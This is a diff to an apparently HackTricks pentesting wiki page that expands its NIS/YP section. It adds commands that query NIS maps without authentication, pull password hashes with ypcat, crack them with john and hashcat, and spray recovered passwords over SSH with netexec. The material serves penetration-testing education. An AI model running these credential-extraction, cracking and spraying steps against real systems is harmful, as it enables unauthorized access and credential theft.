HackTricks-wiki · carlospolop · Jul 22, 2026
diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md
@@ -50,33 +50,82 @@ If you find the service NFS then probably you will be able to list and download(
 
 Read [2049 - Pentesting NFS service](nfs-service-pentesting.md) to learn more about how to test this protocol.
 
-## NIS
+## NIS / YP
 
-Exploring **NIS** vulnerabilities involves a two-step process, starting with the identification of the service `ypbind`. The cornerstone of this exploration is uncovering the **NIS domain name**, without which progress is halted.
+**NIS** (also called **YP / Yellow Pages**) frequently appears behind `rpcbind` as `ypbind`, `ypserv`, or `yppasswdd`. On a compromised Unix/Linux host, first verify whether identities are being resolved from NIS before talking directly to the server.
 
 ![RPCBind + NFS - NIS: Exploring NIS vulnerabilities involves a two-step process, starting with the identification of the service ypbind. The cornerstone of this exploration is uncovering...](<../images/image (859).png>)
 
-The exploration journey begins with the installation of necessary packages (`apt-get install nis`). The subsequent step requires using `ypwhich` to confirm the NIS server's presence by pinging it with the domain name and server IP, ensuring these elements are anonymized for security.
+### Detect NIS-backed accounts from a client
 
-The final and crucial step involves the `ypcat` command to extract sensitive data, particularly encrypted user passwords. These hashes, once cracked using tools like **John the Ripper**, reveal insights into system access and privileges.
+```bash
+grep -nE '^\+' /etc/passwd /etc/group 2>/dev/null
+grep -E '^(passwd|group|shadow|hosts|services|netgroup|rpc):' /etc/nsswitch.conf
+domainname
+ypwhich
+rpcinfo -p <target> | egrep 'ypbind|ypserv|yppasswdd'
+```
+
+- **`+user`** / **`+@netgroup`** entries inside `/etc/passwd` or `/etc/group` usually mean users or netgroups are being imported from NIS.
+- **`passwd: files nis`** or **`shadow: files nis`** in `/etc/nsswitch.conf` confirms that NSS lookups fall back to NIS.
+- From a host already enrolled in the NIS domain, `getent passwd` / `getent group` will usually return the merged local + NIS view.
+
+### Query maps without authentication
+
+Many legacy NIS deployments still allow **unauthenticated map queries** from any reachable client. Try both direct YP queries and NSS lookups from an enrolled machine:
+
+```bash
+# Directly query a specific NIS domain/server
+ypcat -d <nis-domain> -h <nis-server> passwd
+ypcat -d <nis-domain> -h <nis-server> passwd.byname
+ypcat -d <nis-domain> -h <nis-server> passwd.byuid
+ypcat -d <nis-domain> -h <nis-server> group.byname
+ypcat -d <nis-domain> -h <nis-server> hosts.byname
+ypcat -d <nis-domain> -h <nis-server> netgroup
+
+# Query through NSS from a joined client
+getent passwd
+getent group
+```
+
+The returned records can expose **usernames, UIDs, GIDs, comments/GECOS fields, home directories, login shells, hosts, and netgroup memberships**.
+
+### Password-hash extraction and cracking workflow
+
+In insecure environments the `passwd` maps can expose password hashes directly:
+
+```bash
+ypcat -d <nis-domain> -h <nis-server> passwd.byname | tee nis-passwd.txt
+cut -d: -f1,2 nis-passwd.txt | grep -vE '^[^:]+:[x*!]*$' > nis-hashes.txt
+
+# Quick format triage
+grep ':\$1\$' nis-hashes.txt   # MD5Crypt
+grep ':\$5\$' nis-hashes.txt   # SHA256Crypt
+grep ':\$6\$' nis-hashes.txt   # SHA512Crypt
+
+john --format=md5crypt nis-hashes.txt
+hashcat -m 500 nis-hashes.txt <wordlist>
+```
+
+- Hashes beginning with **`$1$`** are **MD5Crypt** (Hashcat **`-m 500`**).
+- If the map only returns `x`/`*` placeholders, try other maps or query from an actual NIS client with `getent passwd`.
+- After recovering a reused Unix password, spray the **same username/password pair** against other authorized SSH targets before assuming it matches Active Directory credentials.
 
 ```bash
-# Install NIS tools
-apt-get install nis
-# Ping the NIS server to confirm its presence
-ypwhich -d <domain-name> <server-ip>
-# Extract user credentials
-ypcat –d <domain-name> –h <server-ip> passwd.byname
+netexec ssh hosts.txt -u <user> -p '<password>'
 ```
 
-### NIF files
+### Useful NIS master files / maps
 
-| **Master file**  | **Map(s)**                  | **Notes**                         |
-| ---------------- | --------------------------- | --------------------------------- |
-| /etc/hosts       | hosts.byname, hosts.byaddr  | Contains hostnames and IP details |
-| /etc/passwd      | passwd.byname, passwd.byuid | NIS user password file            |
-| /etc/group       | group.byname, group.bygid   | NIS group file                    |
-| /usr/lib/aliases | mail.aliases                | Details mail aliases              |
+| **Master file**  | **Map(s)**                  | **Notes**                                |
+| ---------------- | --------------------------- | ---------------------------------------- |
+| /etc/passwd      | passwd.byname, passwd.byuid | Usernames, shells, home dirs, maybe hash |
+| /etc/group       | group.byname, group.bygid   | Group memberships                        |
+| /etc/hosts       | hosts.byname, hosts.byaddr  | Hostnames and IPs                        |
+| /etc/netgroup    | netgroup                    | Netgroup-based trust / access rules      |
+| /etc/services    | services.byname             | Service name mappings                    |
+| /etc/rpc         | rpc.bynumber                | RPC service mappings                     |
+| /usr/lib/aliases | mail.aliases                | Mail aliases                             |
 
 ## RPC Users
 
@@ -125,6 +174,7 @@ Entry_3:
 ## References
 
 - [Nmap NSE: rpc-grind](https://nmap.org/nsedoc/scripts/rpc-grind.html)
+- [NetSPI - Legacy Meets Modern: Breaking AD Through NIS & MFA Infrastructure](https://www.netspi.com/blog/technical-blog/network-pentesting/legacy-meets-modern-breaking-ad-through-nis-mfa-infrastructure/)
 
 {{#include ../banners/hacktricks-training.md}}